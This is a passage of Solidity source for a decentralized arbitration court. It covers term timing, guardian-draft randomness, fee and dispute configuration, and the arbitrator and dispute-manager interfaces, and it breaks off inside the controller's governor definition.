fit in uint64. Term storage previousTerm = terms[currentTermId++]; Term storage currentTerm = terms[currentTermId]; _onTermTransitioned(currentTermId); // Set the start time of the new term. Note that we are using a constant term duration value to guarantee // equally long terms, regardless of heartbeats. currentTerm.startTime = previousTerm.startTime.add(termDuration); // In order to draft a random number of guardians in a term, we use a randomness factor for each term based on a // block number that is set once the term has started. Note that this information could not be known beforehand. currentTerm.randomnessBN = blockNumber + 1; } termId = currentTermId; emit Heartbeat(previousTermId, currentTermId); return currentTermId; } /** * @dev Internal function to delay the first term start time only if it wasn't reached yet * @param _newFirstTermStartTime New timestamp in seconds when the court will open */ function _delayStartTime(uint64 _newFirstTermStartTime) internal { require(_currentTermId() == 0, ERROR_CANNOT_DELAY_STARTED_COURT); Term storage term = terms[0]; uint64 currentFirstTermStartTime = term.startTime.add(termDuration); require(_newFirstTermStartTime > currentFirstTermStartTime, ERROR_CANNOT_DELAY_PAST_START_TIME); // No need for SafeMath: we already checked above that `_newFirstTermStartTime` > `currentFirstTermStartTime` >= `termDuration` term.startTime = _newFirstTermStartTime - termDuration; emit StartTimeDelayed(currentFirstTermStartTime, _newFirstTermStartTime); } /** * @dev Internal function to notify when a term has been transitioned. This function must be overridden to provide custom behavior. * @param _termId Identification number of the new current term that has been transitioned */ function _onTermTransitioned(uint64 _termId) internal; /** * @dev Internal function to tell the last ensured term identification number * @return Identification number of the last ensured term */ function _lastEnsuredTermId() internal view returns (uint64) { return termId; } /** * @dev Internal function to tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function _currentTermId() internal view returns (uint64) { return termId.add(_neededTermTransitions()); } /** * @dev Internal function to tell the number of terms the Court should transition to be up-to-date * @return Number of terms the Court should transition to be up-to-date */ function _neededTermTransitions() internal view returns (uint64) { // Note that the Court is always initialized providing a start time for the first-term in the future. If that's the case, // no term transitions are required. uint64 currentTermStartTime = terms[termId].startTime; if (getTimestamp64() < currentTermStartTime) { return uint64(0); } // No need for SafeMath: we already know that the start time of the current term is in the past return (getTimestamp64() - currentTermStartTime) / termDuration; } /** * @dev Internal function to compute the randomness that will be used to draft guardians for the given term. This * function assumes the given term exists. To determine the randomness factor for a term we use the hash of a * block number that is set once the term has started to ensure it cannot be known beforehand. Note that the * hash function being used only works for the 256 most recent block numbers. * @param _termId Identification number of the term being queried * @return Randomness computed for the given term */ function _computeTermRandomness(uint64 _termId) internal view returns (bytes32) { Term storage term = terms[_termId]; require(getBlockNumber64() > term.randomnessBN, ERROR_TERM_RANDOMNESS_NOT_YET); return blockhash(term.randomnessBN); } } interface IConfig { /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of tokens guardians have to activate to participate in the Court */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ); /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct); /** * @dev Tell the min active balance config at a certain term * @param _termId Term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256); } contract CourtConfigData { struct Config { FeesConfig fees; // Full fees-related config DisputesConfig disputes; // Full disputes-related config uint256 minActiveBalance; // Minimum amount of tokens guardians have to activate to participate in the Court } struct FeesConfig { IERC20 token; // ERC20 token to be used for the fees of the Court uint16 finalRoundReduction; // Permyriad of fees reduction applied for final appeal round (‱ - 1/10,000) uint256 guardianFee; // Amount of tokens paid to draft a guardian to adjudicate a dispute uint256 draftFee; // Amount of tokens paid per round to cover the costs of drafting guardians uint256 settleFee; // Amount of tokens paid per round to cover the costs of slashing guardians } struct DisputesConfig { uint64 evidenceTerms; // Max submitting evidence period duration in terms uint64 commitTerms; // Committing period duration in terms uint64 revealTerms; // Revealing period duration in terms uint64 appealTerms; // Appealing period duration in terms uint64 appealConfirmTerms; // Confirmation appeal period duration in terms uint16 penaltyPct; // Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) uint64 firstRoundGuardiansNumber; // Number of guardians drafted on first round uint64 appealStepFactor; // Factor in which the guardians number is increased on each appeal uint64 finalRoundLockTerms; // Period a coherent guardian in the final round will remain locked uint256 maxRegularAppealRounds; // Before the final appeal uint256 appealCollateralFactor; // Permyriad multiple of dispute fees required to appeal a preliminary ruling (‱ - 1/10,000) uint256 appealConfirmCollateralFactor; // Permyriad multiple of dispute fees required to confirm appeal (‱ - 1/10,000) } struct DraftConfig { IERC20 feeToken; // ERC20 token to be used for the fees of the Court uint16 penaltyPct; // Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) uint256 draftFee; // Amount of tokens paid per round to cover the costs of drafting guardians } } contract CourtConfig is IConfig, CourtConfigData { using SafeMath64 for uint64; using PctHelpers for uint256; string private constant ERROR_TOO_OLD_TERM = "CONF_TOO_OLD_TERM"; string private constant ERROR_INVALID_PENALTY_PCT = "CONF_INVALID_PENALTY_PCT"; string private constant ERROR_INVALID_FINAL_ROUND_REDUCTION_PCT = "CONF_INVALID_FINAL_ROUND_RED_PCT"; string private constant ERROR_INVALID_MAX_APPEAL_ROUNDS = "CONF_INVALID_MAX_APPEAL_ROUNDS"; string private constant ERROR_LARGE_ROUND_PHASE_DURATION = "CONF_LARGE_ROUND_PHASE_DURATION"; string private constant ERROR_BAD_INITIAL_GUARDIANS_NUMBER = "CONF_BAD_INITIAL_GUARDIAN_NUMBER"; string private constant ERROR_BAD_APPEAL_STEP_FACTOR = "CONF_BAD_APPEAL_STEP_FACTOR"; string private constant ERROR_ZERO_COLLATERAL_FACTOR = "CONF_ZERO_COLLATERAL_FACTOR"; string private constant ERROR_ZERO_MIN_ACTIVE_BALANCE = "CONF_ZERO_MIN_ACTIVE_BALANCE"; // Max number of terms that each of the different adjudication states can last (if lasted 1h, this would be a year) uint64 internal constant MAX_ADJ_STATE_DURATION = 8670; // Cap the max number of regular appeal rounds uint256 internal constant MAX_REGULAR_APPEAL_ROUNDS_LIMIT = 10; // Future term ID in which a config change has been scheduled uint64 private configChangeTermId; // List of all the configs used in the Court Config[] private configs; // List of configs indexed by id mapping (uint64 => uint256) private configIdByTerm; event NewConfig(uint64 fromTermId, uint64 courtConfigId); /** * @dev Constructor function * @param _feeToken Address of the token contract that is used to pay for fees * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ constructor( IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) public { // Leave config at index 0 empty for non-scheduled config changes configs.length = 1; _setConfig( 0, 0, _feeToken, _fees, _roundStateDurations, _pcts, _roundParams, _appealCollateralParams, _minActiveBalance ); } /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of tokens guardians have to activate to participate in the Court */ function getConfig(uint64 _termId) external view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ); /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function getDraftConfig(uint64 _termId) external view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct); /** * @dev Tell the min active balance config at a certain term * @param _termId Term querying the min active balance config of * @return Minimum amount of tokens guardians have to activate to participate in the Court */ function getMinActiveBalance(uint64 _termId) external view returns (uint256); /** * @dev Tell the term identification number of the next scheduled config change * @return Term identification number of the next scheduled config change */ function getConfigChangeTermId() external view returns (uint64) { return configChangeTermId; } /** * @dev Internal to make sure to set a config for the new term, it will copy the previous term config if none * @param _termId Identification number of the new current term that has been transitioned */ function _ensureTermConfig(uint64 _termId) internal { // If the term being transitioned had no config change scheduled, keep the previous one uint256 currentConfigId = configIdByTerm[_termId]; if (currentConfigId == 0) { uint256 previousConfigId = configIdByTerm[_termId.sub(1)]; configIdByTerm[_termId] = previousConfigId; } } /** * @dev Assumes that sender it's allowed (either it's from governor or it's on init) * @param _termId Identification number of the current Court term * @param _fromTermId Identification number of the term in which the config will be effective at * @param _feeToken Address of the token contract that is used to pay for fees. * @param _fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @param _roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @param _pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @param _roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @param _appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @param _minActiveBalance Minimum amount of guardian tokens that can be activated */ function _setConfig( uint64 _termId, uint64 _fromTermId, IERC20 _feeToken, uint256[3] memory _fees, uint64[5] memory _roundStateDurations, uint16[2] memory _pcts, uint64[4] memory _roundParams, uint256[2] memory _appealCollateralParams, uint256 _minActiveBalance ) internal { // If the current term is not zero, changes must be scheduled at least after the current period. // No need to ensure delays for on-going disputes since these already use their creation term for that. require(_termId == 0 || _fromTermId > _termId, ERROR_TOO_OLD_TERM); // Make sure appeal collateral factors are greater than zero require(_appealCollateralParams[0] > 0 && _appealCollateralParams[1] > 0, ERROR_ZERO_COLLATERAL_FACTOR); // Make sure the given penalty and final round reduction pcts are not greater than 100% require(PctHelpers.isValid(_pcts[0]), ERROR_INVALID_PENALTY_PCT); require(PctHelpers.isValid(_pcts[1]), ERROR_INVALID_FINAL_ROUND_REDUCTION_PCT); // Disputes must request at least one guardian to be drafted initially require(_roundParams[0] > 0, ERROR_BAD_INITIAL_GUARDIANS_NUMBER); // Prevent that further rounds have zero guardians require(_roundParams[1] > 0, ERROR_BAD_APPEAL_STEP_FACTOR); // Make sure the max number of appeals allowed does not reach the limit uint256 _maxRegularAppealRounds = _roundParams[2]; bool isMaxAppealRoundsValid = _maxRegularAppealRounds > 0 && _maxRegularAppealRounds <= MAX_REGULAR_APPEAL_ROUNDS_LIMIT; require(isMaxAppealRoundsValid, ERROR_INVALID_MAX_APPEAL_ROUNDS); // Make sure each adjudication round phase duration is valid for (uint i = 0; i < _roundStateDurations.length; i++) { require(_roundStateDurations[i] > 0 && _roundStateDurations[i] < MAX_ADJ_STATE_DURATION, ERROR_LARGE_ROUND_PHASE_DURATION); } // Make sure min active balance is not zero require(_minActiveBalance > 0, ERROR_ZERO_MIN_ACTIVE_BALANCE); // If there was a config change already scheduled, reset it (in that case we will overwrite last array item). // Otherwise, schedule a new config. if (configChangeTermId > _termId) { configIdByTerm[configChangeTermId] = 0; } else { configs.length++; } uint64 courtConfigId = uint64(configs.length - 1); Config storage config = configs[courtConfigId]; config.fees = FeesConfig({ token: _feeToken, guardianFee: _fees[0], draftFee: _fees[1], settleFee: _fees[2], finalRoundReduction: _pcts[1] }); config.disputes = DisputesConfig({ evidenceTerms: _roundStateDurations[0], commitTerms: _roundStateDurations[1], revealTerms: _roundStateDurations[2], appealTerms: _roundStateDurations[3], appealConfirmTerms: _roundStateDurations[4], penaltyPct: _pcts[0], firstRoundGuardiansNumber: _roundParams[0], appealStepFactor: _roundParams[1], maxRegularAppealRounds: _maxRegularAppealRounds, finalRoundLockTerms: _roundParams[3], appealCollateralFactor: _appealCollateralParams[0], appealConfirmCollateralFactor: _appealCollateralParams[1] }); config.minActiveBalance = _minActiveBalance; configIdByTerm[_fromTermId] = courtConfigId; configChangeTermId = _fromTermId; emit NewConfig(_fromTermId, courtConfigId); } /** * @dev Internal function to get the Court config for a given term * @param _termId Identification number of the term querying the Court config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * 3. finalRoundLockTerms Number of terms that a coherent guardian in a final round is disallowed to withdraw (to prevent 51% attacks) * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor Multiple of dispute fees required to confirm appeal * @return minActiveBalance Minimum amount of guardian tokens that can be activated */ function _getConfigAt(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns ( IERC20 feeToken, uint256[3] memory fees, uint64[5] memory roundStateDurations, uint16[2] memory pcts, uint64[4] memory roundParams, uint256[2] memory appealCollateralParams, uint256 minActiveBalance ) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); FeesConfig storage feesConfig = config.fees; feeToken = feesConfig.token; fees = [feesConfig.guardianFee, feesConfig.draftFee, feesConfig.settleFee]; DisputesConfig storage disputesConfig = config.disputes; roundStateDurations = [ disputesConfig.evidenceTerms, disputesConfig.commitTerms, disputesConfig.revealTerms, disputesConfig.appealTerms, disputesConfig.appealConfirmTerms ]; pcts = [disputesConfig.penaltyPct, feesConfig.finalRoundReduction]; roundParams = [ disputesConfig.firstRoundGuardiansNumber, disputesConfig.appealStepFactor, uint64(disputesConfig.maxRegularAppealRounds), disputesConfig.finalRoundLockTerms ]; appealCollateralParams = [disputesConfig.appealCollateralFactor, disputesConfig.appealConfirmCollateralFactor]; minActiveBalance = config.minActiveBalance; } /** * @dev Tell the draft config at a certain term * @param _termId Identification number of the term querying the draft config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return feeToken Address of the token used to pay for fees * @return draftFee Amount of fee tokens per guardian to cover the drafting cost * @return penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) */ function _getDraftConfig(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (IERC20 feeToken, uint256 draftFee, uint16 penaltyPct) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); return (config.fees.token, config.fees.draftFee, config.disputes.penaltyPct); } /** * @dev Internal function to get the min active balance config for a given term * @param _termId Identification number of the term querying the min active balance config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Minimum amount of guardian tokens that can be activated at the given term */ function _getMinActiveBalance(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (uint256) { Config storage config = _getConfigFor(_termId, _lastEnsuredTermId); return config.minActiveBalance; } /** * @dev Internal function to get the Court config for a given term * @param _termId Identification number of the term querying the min active balance config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Court config for the given term */ function _getConfigFor(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (Config storage) { uint256 id = _getConfigIdFor(_termId, _lastEnsuredTermId); return configs[id]; } /** * @dev Internal function to get the Court config ID for a given term * @param _termId Identification number of the term querying the Court config of * @param _lastEnsuredTermId Identification number of the last ensured term of the Court * @return Identification number of the config for the given terms */ function _getConfigIdFor(uint64 _termId, uint64 _lastEnsuredTermId) internal view returns (uint256) { // If the given term is lower or equal to the last ensured Court term, it is safe to use a past Court config if (_termId <= _lastEnsuredTermId) { return configIdByTerm[_termId]; } // If the given term is in the future but there is a config change scheduled before it, use the incoming config uint64 scheduledChangeTermId = configChangeTermId; if (scheduledChangeTermId <= _termId) { return configIdByTerm[scheduledChangeTermId]; } // If no changes are scheduled, use the Court config of the last ensured term return configIdByTerm[_lastEnsuredTermId]; } } /* * SPDX-License-Identifier: MIT */ interface IArbitrator { /** * @dev Create a dispute over the Arbitrable sender with a number of possible rulings * @param _possibleRulings Number of possible rulings allowed for the dispute * @param _metadata Optional metadata that can be used to provide additional information on the dispute to be created * @return Dispute identification number */ function createDispute(uint256 _possibleRulings, bytes calldata _metadata) external returns (uint256); /** * @dev Submit evidence for a dispute * @param _disputeId Id of the dispute in the Court * @param _submitter Address of the account submitting the evidence * @param _evidence Data submitted for the evidence related to the dispute */ function submitEvidence(uint256 _disputeId, address _submitter, bytes calldata _evidence) external; /** * @dev Close the evidence period of a dispute * @param _disputeId Identification number of the dispute to close its evidence submitting period */ function closeEvidencePeriod(uint256 _disputeId) external; /** * @notice Rule dispute #`_disputeId` if ready * @param _disputeId Identification number of the dispute to be ruled * @return subject Subject associated to the dispute * @return ruling Ruling number computed for the given dispute */ function rule(uint256 _disputeId) external returns (address subject, uint256 ruling); /** * @dev Tell the dispute fees information to create a dispute * @return recipient Address where the corresponding dispute fees must be transferred to * @return feeToken ERC20 token used for the fees * @return feeAmount Total amount of fees that must be allowed to the recipient */ function getDisputeFees() external view returns (address recipient, IERC20 feeToken, uint256 feeAmount); /** * @dev Tell the payments recipient address * @return Address of the payments recipient module */ function getPaymentsRecipient() external view returns (address); } /* * SPDX-License-Identifier: MIT */ /** * @dev The Arbitrable instances actually don't require to follow any specific interface. * Note that this is actually optional, although it does allow the Court to at least have a way to identify a specific set of instances. */ contract IArbitrable { /** * @dev Emitted when an IArbitrable instance's dispute is ruled by an IArbitrator * @param arbitrator IArbitrator instance ruling the dispute * @param disputeId Identification number of the dispute being ruled by the arbitrator * @param ruling Ruling given by the arbitrator */ event Ruled(IArbitrator indexed arbitrator, uint256 indexed disputeId, uint256 ruling); } interface IDisputeManager { enum DisputeState { PreDraft, Adjudicating, Ruled } enum AdjudicationState { Invalid, Committing, Revealing, Appealing, ConfirmingAppeal, Ended } /** * @dev Create a dispute to be drafted in a future term * @param _subject Arbitrable instance creating the dispute * @param _possibleRulings Number of possible rulings allowed for the drafted guardians to vote on the dispute * @param _metadata Optional metadata that can be used to provide additional information on the dispute to be created * @return Dispute identification number */ function createDispute(IArbitrable _subject, uint8 _possibleRulings, bytes calldata _metadata) external returns (uint256); /** * @dev Submit evidence for a dispute * @param _subject Arbitrable instance submitting the dispute * @param _disputeId Identification number of the dispute receiving new evidence * @param _submitter Address of the account submitting the evidence * @param _evidence Data submitted for the evidence of the dispute */ function submitEvidence(IArbitrable _subject, uint256 _disputeId, address _submitter, bytes calldata _evidence) external; /** * @dev Close the evidence period of a dispute * @param _subject IArbitrable instance requesting to close the evidence submission period * @param _disputeId Identification number of the dispute to close its evidence submitting period */ function closeEvidencePeriod(IArbitrable _subject, uint256 _disputeId) external; /** * @dev Draft guardians for the next round of a dispute * @param _disputeId Identification number of the dispute to be drafted */ function draft(uint256 _disputeId) external; /** * @dev Appeal round of a dispute in favor of a certain ruling * @param _disputeId Identification number of the dispute being appealed * @param _roundId Identification number of the dispute round being appealed * @param _ruling Ruling appealing a dispute round in favor of */ function createAppeal(uint256 _disputeId, uint256 _roundId, uint8 _ruling) external; /** * @dev Confirm appeal for a round of a dispute in favor of a ruling * @param _disputeId Identification number of the dispute confirming an appeal of * @param _roundId Identification number of the dispute round confirming an appeal of * @param _ruling Ruling being confirmed against a dispute round appeal */ function confirmAppeal(uint256 _disputeId, uint256 _roundId, uint8 _ruling) external; /** * @dev Compute the final ruling for a dispute * @param _disputeId Identification number of the dispute to compute its final ruling * @return subject Arbitrable instance associated to the dispute * @return finalRuling Final ruling decided for the given dispute */ function computeRuling(uint256 _disputeId) external returns (IArbitrable subject, uint8 finalRuling); /** * @dev Settle penalties for a round of a dispute * @param _disputeId Identification number of the dispute to settle penalties for * @param _roundId Identification number of the dispute round to settle penalties for * @param _guardiansToSettle Maximum number of guardians to be slashed in this call */ function settlePenalties(uint256 _disputeId, uint256 _roundId, uint256 _guardiansToSettle) external; /** * @dev Claim rewards for a round of a dispute for guardian * @dev For regular rounds, it will only reward winning guardians * @param _disputeId Identification number of the dispute to settle rewards for * @param _roundId Identification number of the dispute round to settle rewards for * @param _guardian Address of the guardian to settle their rewards */ function settleReward(uint256 _disputeId, uint256 _roundId, address _guardian) external; /** * @dev Settle appeal deposits for a round of a dispute * @param _disputeId Identification number of the dispute to settle appeal deposits for * @param _roundId Identification number of the dispute round to settle appeal deposits for */ function settleAppealDeposit(uint256 _disputeId, uint256 _roundId) external; /** * @dev Tell the amount of token fees required to create a dispute * @return feeToken ERC20 token used for the fees * @return feeAmount Total amount of fees to be paid for a dispute at the given term */ function getDisputeFees() external view returns (IERC20 feeToken, uint256 feeAmount); /** * @dev Tell information of a certain dispute * @param _disputeId Identification number of the dispute being queried * @return subject Arbitrable subject being disputed * @return possibleRulings Number of possible rulings allowed for the drafted guardians to vote on the dispute * @return state Current state of the dispute being queried: pre-draft, adjudicating, or ruled * @return finalRuling The winning ruling in case the dispute is finished * @return lastRoundId Identification number of the last round created for the dispute * @return createTermId Identification number of the term when the dispute was created */ function getDispute(uint256 _disputeId) external view returns (IArbitrable subject, uint8 possibleRulings, DisputeState state, uint8 finalRuling, uint256 lastRoundId, uint64 createTermId); /** * @dev Tell information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @return draftTerm Term from which the requested round can be drafted * @return delayedTerms Number of terms the given round was delayed based on its requested draft term id * @return guardiansNumber Number of guardians requested for the round * @return selectedGuardians Number of guardians already selected for the requested round * @return settledPenalties Whether or not penalties have been settled for the requested round * @return collectedTokens Amount of guardian tokens that were collected from slashed guardians for the requested round * @return coherentGuardians Number of guardians that voted in favor of the final ruling in the requested round * @return state Adjudication state of the requested round */ function getRound(uint256 _disputeId, uint256 _roundId) external view returns ( uint64 draftTerm, uint64 delayedTerms, uint64 guardiansNumber, uint64 selectedGuardians, uint256 guardianFees, bool settledPenalties, uint256 collectedTokens, uint64 coherentGuardians, AdjudicationState state ); /** * @dev Tell appeal-related information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @return maker Address of the account appealing the given round * @return appealedRuling Ruling confirmed by the appealer of the given round * @return taker Address of the account confirming the appeal of the given round * @return opposedRuling Ruling confirmed by the appeal taker of the given round */ function getAppeal(uint256 _disputeId, uint256 _roundId) external view returns (address maker, uint64 appealedRuling, address taker, uint64 opposedRuling); /** * @dev Tell information related to the next round due to an appeal of a certain round given. * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round requesting the appeal details of * @return nextRoundStartTerm Term ID from which the next round will start * @return nextRoundGuardiansNumber Guardians number for the next round * @return newDisputeState New state for the dispute associated to the given round after the appeal * @return feeToken ERC20 token used for the next round fees * @return guardianFees Total amount of fees to be distributed between the winning guardians of the next round * @return totalFees Total amount of fees for a regular round at the given term * @return appealDeposit Amount to be deposit of fees for a regular round at the given term * @return confirmAppealDeposit Total amount of fees for a regular round at the given term */ function getNextRoundDetails(uint256 _disputeId, uint256 _roundId) external view returns ( uint64 nextRoundStartTerm, uint64 nextRoundGuardiansNumber, DisputeState newDisputeState, IERC20 feeToken, uint256 totalFees, uint256 guardianFees, uint256 appealDeposit, uint256 confirmAppealDeposit ); /** * @dev Tell guardian-related information of a certain adjudication round * @param _disputeId Identification number of the dispute being queried * @param _roundId Identification number of the round being queried * @param _guardian Address of the guardian being queried * @return weight Guardian weight drafted for the requested round * @return rewarded Whether or not the given guardian was rewarded based on the requested round */ function getGuardian(uint256 _disputeId, uint256 _roundId, address _guardian) external view returns (uint64 weight, bool rewarded); } contract Controller is IsContract, ModuleIds, CourtClock, CourtConfig, ACL { string private constant ERROR_SENDER_NOT_GOVERNOR = "CTR_SENDER_NOT_GOVERNOR"; string private constant ERROR_INVALID_GOVERNOR_ADDRESS = "CTR_INVALID_GOVERNOR_ADDRESS"; string private constant ERROR_MODULE_NOT_SET = "CTR_MODULE_NOT_SET"; string private constant ERROR_MODULE_ALREADY_ENABLED = "CTR_MODULE_ALREADY_ENABLED"; string private constant ERROR_MODULE_ALREADY_DISABLED = "CTR_MODULE_ALREADY_DISABLED"; string private constant ERROR_DISPUTE_MANAGER_NOT_ACTIVE = "CTR_DISPUTE_MANAGER_NOT_ACTIVE"; string private constant ERROR_CUSTOM_FUNCTION_NOT_SET = "CTR_CUSTOM_FUNCTION_NOT_SET"; string private constant ERROR_IMPLEMENTATION_NOT_CONTRACT = "CTR_IMPLEMENTATION_NOT_CONTRACT"; string private constant ERROR_INVALID_IMPLS_INPUT_LENGTH = "CTR_INVALID_IMPLS_INPUT_LENGTH"; address private constant ZERO_ADDRESS = address(0); /** * @dev Governor of the whole system. Set of three addresses to recover funds, change configuration settings and setup modules */ struct Governor { address funds; // This address can be unset at any time. It is allowed to recover funds from the ControlledRecoverable modules address config; // This address is meant not to be unset. It is allowed to change the different configurations of the whole system address modules; // This address can be unset at any time. It is allowed 